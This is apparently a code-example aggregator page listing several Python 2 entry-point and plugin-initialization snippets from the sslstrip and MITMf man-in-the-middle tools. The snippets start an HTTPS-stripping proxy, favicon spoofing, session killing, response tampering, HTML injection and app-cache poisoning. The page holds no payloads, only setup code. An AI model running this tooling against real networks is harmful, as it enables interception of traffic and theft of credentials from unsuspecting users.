Beispiel #1
0
def main(argv):
    (logFile, logLevel, listenPort, spoofFavicon, killSessions, tamperConfigFile, injectFile) = parseOptions(argv)

    logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
                        filename=logFile, filemode='w')

    # Verify is inject option is enabled
    if (injectFile != False):
        try:
            with open(injectFile, 'r') as f:
                HTMLInjector.getInstance().setInjectionCode(f.read())
        except IOError as e:
            logging.warning("Couldn't read " + injectFile)

    URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
    CookieCleaner.getInstance().setEnabled(killSessions)
    ResponseTampererFactory.buildTamperer(tamperConfigFile)
    strippingFactory              = http.HTTPFactory(timeout=10)
    strippingFactory.protocol     = StrippingProxy

    reactor.listenTCP(int(listenPort), strippingFactory)
                
    print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."

    reactor.run()
Beispiel #2
0
    def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options = options
        self.config_file = options.tampercfg or "./config_files/app_cache_poison.cfg"

        print "[*] App Cache Poison plugin online"
        ResponseTampererFactory.buildTamperer(self.config_file)
Beispiel #3
0
 def initialize(self, options):
     '''Called if plugin is enabled, passed the options namespace'''
     self.options = options
     self.config_file = options.tampercfg or "./config_files/app_cache_poison.cfg"
     
     print "[*] App Cache Poison plugin online"
     ResponseTampererFactory.buildTamperer(self.config_file)
Beispiel #4
0
def main(argv):
    (logFile, logLevel, listenPort, spoofFavicon, killSessions, tamperConfigFile) = parseOptions(argv)
        
    logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
                        filename=logFile, filemode='w')

    URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
    CookieCleaner.getInstance().setEnabled(killSessions)
    ResponseTampererFactory.buildTamperer(tamperConfigFile)
    strippingFactory              = http.HTTPFactory(timeout=10)
    strippingFactory.protocol     = StrippingProxy

    reactor.listenTCP(int(listenPort), strippingFactory)
                
    print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."

    reactor.run()
Beispiel #5
0
def main(argv):
    (logFile, logLevel, listenPort, spoofFavicon, killSessions,
     tamperConfigFile) = parseOptions(argv)

    logging.basicConfig(level=logLevel,
                        format='%(asctime)s %(message)s',
                        filename=logFile,
                        filemode='w')

    URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
    CookieCleaner.getInstance().setEnabled(killSessions)
    ResponseTampererFactory.buildTamperer(tamperConfigFile)
    strippingFactory = http.HTTPFactory(timeout=10)
    strippingFactory.protocol = StrippingProxy

    reactor.listenTCP(int(listenPort), strippingFactory)

    print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."

    reactor.run()
 def __init__(self, command, uri, postData, headers, client):
     self.command = command
     self.uri = uri
     self.postData = postData
     self.headers = headers
     self.client = client
     self.urlMonitor = URLMonitor.getInstance()
     self.responseTamperer = ResponseTampererFactory.getTampererInstance()
     self.HTMLInjector = HTMLInjector.getInstance()
     self.plugins_manager = ProxyPluginsManager.getInstance()
     self.isImageRequest = False
     self.isCompressed = False
     self.contentLength = None
     self.shutdownComplete = False
     self.plugins = self.plugins_manager.plugins
Beispiel #7
0
    # All our options should be loaded now, pass them onto plugins
    print "[*] MITMf v%s started... initializing plugins and modules" % mitmf_version
    load = []
    try:
        for p in plugins:
            if getattr(args, p.optname):
                p.initialize(args)
                load.append(p)
    except NotImplementedError:
        print "Plugin %s lacked initialize function." % p.name

    # Plugins are ready to go, start MITM
    URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
    CookieCleaner.getInstance().setEnabled(args.killsessions)
    ResponseTampererFactory.buildTamperer(args.tamper)
    ProxyPlugins.getInstance().setPlugins(load)

    strippingFactory = http.HTTPFactory(timeout=10)
    strippingFactory.protocol = StrippingProxy

    reactor.listenTCP(args.listen, strippingFactory)

    print "\n[*] sslstrip v%s by Moxie Marlinspike running..." % sslstrip_version
    print "[*] sergio-proxy v%s online" % sergio_version

    reactor.run()

    # cleanup on exit
    for p in load:
        p.finish()